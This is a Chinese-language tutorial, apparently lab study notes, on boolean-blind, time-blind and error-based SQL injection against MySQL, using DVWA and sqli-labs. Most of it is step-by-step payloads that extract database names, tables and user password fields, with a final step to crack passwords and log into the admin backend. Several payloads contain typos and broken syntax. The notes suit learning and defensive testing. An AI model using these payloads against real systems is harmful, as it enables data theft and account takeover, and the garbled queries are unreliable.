SQL注入(二)

盲注:用戶提交的數據在後臺數據庫中執行以後,沒有返回任何數據,沒法在前端顯示測試出的數據,須要使用盲注技術
    基於bool的盲注
    基於時間的盲注
 
基於布爾的盲注
step1:探測輸入點,'/'and 1=1%23 /1' and '1'='1 /~~~~~~~~
注意:用戶提交的數據被帶入後臺數據庫中執行,根據頁面顯示效果判斷此處是否存在注入點
step2:收集數據庫信息(當前用戶名、當前數據庫、版本、全部數據庫等等)
?id=10'and length(uer())=14%23,用戶名長度是14
?id=10'
asscii(substr(user(),1,1))=114%23
用戶名首字符是r,後續依次去判斷
security
 
step3:查詢當前數據庫中表
asscii(substr((select distinct table_name from information_schema.columns  where table_schema = database() limit 0,1),1,1))=114
先計算某個表的名字的長度,而後再判斷每一個字符,最終找到有價值的表:users
step4:獲取執行表的字段名
step5:獲取指定字段的數據
step6:解密密文數據,登陸後臺
 
基於時間的盲注:
時間的概念:使用特定的函數讓數據庫去執行,在頁面等待必定的時間,來查看當前頁面的注入狀況
函數:sleep()
select * from dvwa.users where user_id =1 and if(lengh(user())=14,sleep(5),'bye');最終沒有返回值,須要關注的是瀏覽器的響應時間
    benchmark(參數1,參數2),參數1表示執行多少次,參數2是某項操做,使用函數或者表達式。
select benchmark(100000000,1000*1000);
操做步驟:
step1:找注入點,1'and sleep(5)%23,~~~
step2:獲取數據庫信息
step3:獲取表信息
select * from dvwa.users where user_id =1 and if(lengh(database())=4,benchmark(10000,1000*1000),'bye');獲取每一個字符
select * from  dvwa.users  where  user_id =1 and if(ord(ascii(substring(database(),1,1))=114,sleep(5),'bye');
mid((select distinct table_schema from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 sleep(5),'bye')
找有價值的表,users
step4:獲取指定表中的字段
select * from  dvwa.users  where  user_id =1 and if(ord(ascii(substring(database(),1,1))=114,sleep(5),'bye');
mid((select distinct column_name from information_schema.tables where table_schema=database()and table_name = 0x7573657273 limit 0,1),1,1))=102 sleep(5),'bye')
找有意義的字段,username password
step5:獲取內容
select * from dvwa.users where user_id=1 and if(ord(mid((select concat(admin,0x7e,password)from users limit 0,1),1,1))=102,sleep(5),'bye')
step6:破解密碼
 
基於報錯的注入
報錯的含義:利用一些報錯的函數構造的payload,數據庫執行以後會報錯,並將咱們須要的數據帶出來,達到咱們攻擊的目的
報錯函數:
    1.extractvalue(參數1,參數2)從目標xml中返回查詢到的字符串,參數1是string格式的xm文檔名,參數2是xpath格式的字符串(須要查詢的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));
2.updatexml(參數1,參數2,參數3),改變xml文檔中符合條件的節點的值,參數1是xml文檔,參數2是xpath格式字符串,參數3是string格式的替換查找符合條件的數據
select updatexml(1,(select user(),3));
3.float()函數,必須和conut()計數,rand()產生0-1之間的隨機小數,若是給了參數(種子),那麼會根據該種子產生固定的值
相關文章
相關標籤/搜索